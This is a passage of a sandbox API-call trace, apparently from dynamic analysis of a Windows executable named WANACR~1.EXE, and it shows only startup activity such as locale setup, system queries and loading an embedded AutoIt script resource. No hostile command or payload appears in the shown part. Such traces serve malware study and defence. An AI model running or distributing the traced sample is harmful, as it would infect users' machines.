lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0044.933] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0044.933] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0044.933] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0044.934] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 0x7ffe2a07c850 [0044.935] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTickCount64") returned 0x7ffe2a641678 [0044.936] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0044.936] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0044.936] GetCurrentThreadId () returned 0x128 [0044.936] GetStartupInfoW (in: lpStartupInfo=0xe0d65bf8a0 | out: lpStartupInfo=0xe0d65bf8a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x7ff756b50000, hStdOutput=0x7ff756b81560, hStdError=0xe0d67b5510)) [0044.936] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0044.937] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0044.937] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0044.937] GetCommandLineW () returned="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" [0044.937] GetEnvironmentStringsW () returned 0xe0d67b64a0* [0044.937] FreeEnvironmentStringsW (penv=0xe0d67b64a0) returned 1 [0044.937] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7ff756c30a60, nSize=0x104 | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0044.937] GetLastError () returned 0x0 [0044.937] SetLastError (dwErrCode=0x0) [0044.937] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] GetACP () returned 0x4e4 [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] IsValidCodePage (CodePage=0x4e4) returned 1 [0044.938] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xe0d65bf810 | out: lpCPInfo=0xe0d65bf810) returned 1 [0044.938] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xe0d65bf2b0 | out: lpCPInfo=0xe0d65bf2b0) returned 1 [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe0d65bf2d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe0d65bf2d0, cbMultiByte=256, lpWideCharStr=0xe0d65befb0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ捨꛲轂") returned 256 [0044.938] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ捨꛲轂", cchSrc=256, lpCharType=0xe0d65bf5d0 | out: lpCharType=0xe0d65bf5d0) returned 1 [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe0d65bf2d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe0d65bf2d0, cbMultiByte=256, lpWideCharStr=0xe0d65befa0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0044.938] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0044.938] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xe0d65bed90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0044.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0xe0d65bf3d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ[\x01", lpUsedDefaultChar=0x0) returned 256 [0044.938] GetLastError () returned 0x0 [0044.938] SetLastError (dwErrCode=0x0) [0044.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe0d65bf2d0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0xe0d65bf2d0, cbMultiByte=256, lpWideCharStr=0xe0d65befa0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0044.938] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0044.938] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0xe0d65bed90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0044.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0xe0d65bf4d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0044.938] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff756b8a98c) returned 0x0 [0044.939] GetVersionExW (in: lpVersionInformation=0xe0d65bf730*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x2140214, dwMinorVersion=0x3120210, dwBuildNumber=0x2100210, dwPlatformId=0x2140210, szCSDVersion="̒ȐȐȐȐȐ́́́́́́́́́́́́́́́́́́́́́́́Ȑ́́́́騧Ⲹ翾") | out: lpVersionInformation=0xe0d65bf730*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x3, dwBuildNumber=0x2580, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0044.939] GetCurrentProcess () returned 0xffffffffffffffff [0044.939] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0xe0d65bf878 | out: Wow64Process=0xe0d65bf878) returned 1 [0044.939] GetSystemInfo (in: lpSystemInfo=0xe0d65bf6f8 | out: lpSystemInfo=0xe0d65bf6f8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0044.940] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0044.940] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0044.940] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0044.940] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0044.940] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0044.940] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0044.940] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc14a [0044.941] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0044.941] OleInitialize (pvReserved=0x0) returned 0x0 [0044.967] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xe0d65bf810 | out: phkResult=0xe0d65bf810*=0x14c) returned 0x0 [0044.967] RegQueryValueExW (in: hKey=0x14c, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xe0d65bf870, lpcbData=0xe0d65bf840*=0x8 | out: lpType=0x0, lpData=0xe0d65bf870*=0x30, lpcbData=0xe0d65bf840*=0x4) returned 0x0 [0044.967] RegCloseKey (hKey=0x14c) returned 0x0 [0044.970] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe0d659f7e0, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0044.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xe0d658f790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0044.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xe0d659f7e0, lpFilePart=0xe0d65af7f0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0xe0d65af7f0*="WANACR~1.EXE") returned 0x26 [0044.971] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xe0d65bf8a0 | out: phkResult=0xe0d65bf8a0*=0x0) returned 0x2 [0044.971] IsThemeActive () returned 0x1 [0044.971] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xe0d65bf8d0, fWinIni=0x0 | out: pvParam=0xe0d65bf8d0) returned 1 [0044.971] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0044.971] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xe0d659f8a0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0044.971] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe0d658f700, nSize=0x7fff | out: lpFilename="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe")) returned 0x26 [0044.972] GetFullPathNameW (in: lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", nBufferLength=0x7fff, lpBuffer=0xe0d657f6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpFilePart=0x0) returned 0x26 [0044.972] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0044.973] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0044.973] Wow64DisableWow64FsRedirection (in: OldValue=0xe0d659f710 | out: OldValue=0xe0d659f710*=0x0) returned 0 [0044.973] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0044.973] GetCurrentPackageId () returned 0x3d54 [0044.973] CreateFileW (lpFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" (normalized: "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xe0d659f4e0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0044.973] GetFileType (hFile=0x14c) returned 0x1 [0044.973] LoadLibraryExW (lpLibFileName="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0044.973] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0044.973] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0044.973] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0044.973] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0044.974] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xe0d659f7d8 | out: ppstm=0xe0d659f7d8*=0xe0d67b68f0) returned 0x0 [0044.978] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0044.978] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0044.978] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0044.979] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0044.979] ISequentialStream:RemoteWrite (in: This=0xe0d67b68f0, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0044.979] IStream:RemoteSeek (in: This=0xe0d67b68f0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0044.979] IStream:RemoteSeek (in: This=0xe0d67b68f0, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe0d659f6a8 | out: plibNewPosition=0xe0d659f6a8) returned 0x0 [0044.979] ISequentialStream:RemoteRead (in: 